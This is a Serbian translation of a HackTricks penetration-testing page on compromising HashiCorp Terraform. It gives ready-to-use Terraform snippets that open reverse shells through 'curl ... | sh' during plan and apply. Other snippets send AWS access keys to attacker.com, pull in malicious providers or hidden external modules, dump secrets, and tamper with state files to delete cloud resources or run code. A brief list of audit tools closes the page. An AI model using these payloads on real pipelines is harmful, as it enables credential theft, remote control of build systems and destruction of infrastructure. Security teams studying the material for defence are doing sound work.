Terraform Security

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Osnovne informacije

Od dokumenata:

HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete oblak i resurse na lokaciji u čitljivim konfiguracionim fajlovima koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje celokupnom infrastrukturom tokom njenog životnog ciklusa. Terraform može upravljati komponentama niskog nivoa poput računanja, skladištenja i mrežnih resursa, kao i komponentama visokog nivoa poput DNS unosa i SaaS funkcija.

Kako radi Terraform?

Terraform kreira i upravlja resursima na cloud platformama i drugim uslugama putem njihovih programskih interfejsa (API-ja). Provajderi omogućavaju Terraformu da radi sa gotovo bilo kojom platformom ili uslugom sa pristupačnim API-jem.

HashiCorp i Terraform zajednica već su napisali više od 1700 provajdera za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj nastavlja da raste. Sve javno dostupne provajdere možete pronaći na Terraform Registru, uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.

Osnovni Terraform radni tok sastoji se od tri faze:

  • Pisanje: Definišete resurse koji mogu biti na više cloud provajdera i usluga. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u Virtualnoj privatnoj mreži (VPC) sa sigurnosnim grupama i balanserom opterećenja.

  • Planiranje: Terraform kreira izvršni plan koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.

  • Primena: Po odobrenju, Terraform vrši predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate osobine VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre skaliranja virtuelnih mašina.

Terraform Laboratorija

Jednostavno instalirajte Terraform na svom računaru.

Evo vodiča i ovde imate najbolji način za preuzimanje Terraforma.

RCE u Terraformu

Terraform nema platformu koja izlaže web stranicu ili mrežnu uslugu koju možemo enumerisati, stoga je jedini način da kompromitujemo Terraform da budemo u mogućnosti da dodamo/izmenimo konfiguracione fajlove Terraforma.

Međutim, Terraform je vrlo osetljiva komponenta za kompromitovanje jer će imati privilegovani pristup do različitih lokacija kako bi mogla pravilno da funkcioniše.

Glavni način za napadača da bude u mogućnosti da kompromituje sistem na kojem se izvršava Terraform je da kompromituje repozitorijum koji čuva konfiguracije Terraforma, jer će u nekom trenutku biti interpretirane.

Zapravo, postoje rešenja koja automatski izvršavaju terraform plan/apply nakon što je napravljen PR, kao što je Atlantis:

pageAtlantis Security

Ako ste u mogućnosti da kompromitujete Terraform fajl, postoje različiti načini na koje možete izvršiti RCE kada neko izvrši terraform plan ili terraform apply.

Terraform plan

Terraform plan je najčešće korišćena komanda u Terraformu i developeri/rešenja koja koriste Terraform je često pozivaju, tako da je najlakši način za dobijanje RCE da se pobrinite da otrovate Terraform konfiguracioni fajl koji će izvršiti proizvoljne komande u terraform plan.

Korišćenje spoljnog provajdera

Terraform nudi external provajder koji pruža način za interfejs između Terraforma i spoljnih programa. Možete koristiti external izvor podataka da pokrenete proizvoljni kod tokom plan-a.

Ubacivanje nečega poput sledećeg u Terraform konfiguracioni fajl će izvršiti reverznu ljusku prilikom izvršavanja terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Korišćenje prilagođenog provajdera

Napadač bi mogao poslati prilagođeni provajder na Terraform Registry i zatim ga dodati u Terraform kod u grani funkcije (primer odavde):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provajder se preuzima u init i pokrenuće zlonamerni kod kada se izvrši plan

Primer možete pronaći na https://github.com/rung/terraform-provider-cmdexec

Korišćenje spoljnog referentnog

Obe pomenute opcije su korisne ali nisu vrlo prikrivene (druga je prikrivenija ali složenija od prve). Možete izvesti ovaj napad čak na prikriveniji način, prateći ove sugestije:

  • Umesto dodavanja reverznog šela direktno u terraform fajl, možete učitati spoljni resurs koji sadrži reverzni šel:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Možete pronaći kod za rev shell na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • U spoljnom resursu, koristite funkciju ref da biste sakrili terraform rev shell kod u grani unutar repozitorijuma, nešto poput: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply će biti izvršen kako bi primenio sve promene, takođe ga možete zloupotrebiti da biste dobili RCE ubacivanjem zlonamernog Terraform fajla sa local-exec. Samo se pobrinite da se neki payload poput sledećih završava u fajlu main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Pratite predloge iz prethodne tehnike da biste izvršili ovaj napad na diskretniji način korišćenjem spoljnih referenci.

Dumpovanje Tajni

Možete imati vrednosti tajni korišćene od strane terraforma dumpovane pokretanjem terraform apply dodavanjem nečega poput sledećeg u terraform fajl:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Zloupotreba Terraform stanja datoteka

U slučaju da imate pristup za pisanje nad stanjem terraform datoteka, ali ne možete promeniti terraform kod, ova istraživanja pružaju neke zanimljive opcije za iskorišćavanje datoteke:

Brisanje resursa

Postoje 2 načina za uništavanje resursa:

  1. Umetnite resurs sa nasumičnim imenom u stanje datoteke koje pokazuje na pravi resurs za brisanje

Pošto će terraform videti da resurs ne bi trebao postojati, uništiće ga (prateći stvarni ID resursa koji je naznačen). Primer sa prethodne stranice:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Izmenite resurs za brisanje na način da nije moguće ažurirati (tako da će biti obrisan i ponovo kreiran)

Za EC2 instancu, dovoljno je izmeniti tip instance da bi terraform obrisao i ponovo kreirao.

RCE

Takođe je moguće kreirati prilagođenog provajdera i jednostavno zameniti jednog od provajdera u datoteci stanja terraforma zlonamernim ili dodati prazan resurs sa zlonamernim provajderom. Primer iz originalnog istraživanja:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Zamena zabranjenog provajdera

U slučaju da se susretnete sa situacijom gde je hashicorp/external stavljena na crnu listu, možete ponovo implementirati external provajder sledeći ove korake. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj sopstveni fork ili ponovnu implementaciju.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Tada možete koristiti external kao i obično.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Alatke za reviziju

  • tfsec: tfsec koristi statičku analizu vašeg terraform koda kako bi otkrio potencijalne loše konfiguracije.

  • terascan: Terrascan je statički analizator koda za infrastrukturu kao kod.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated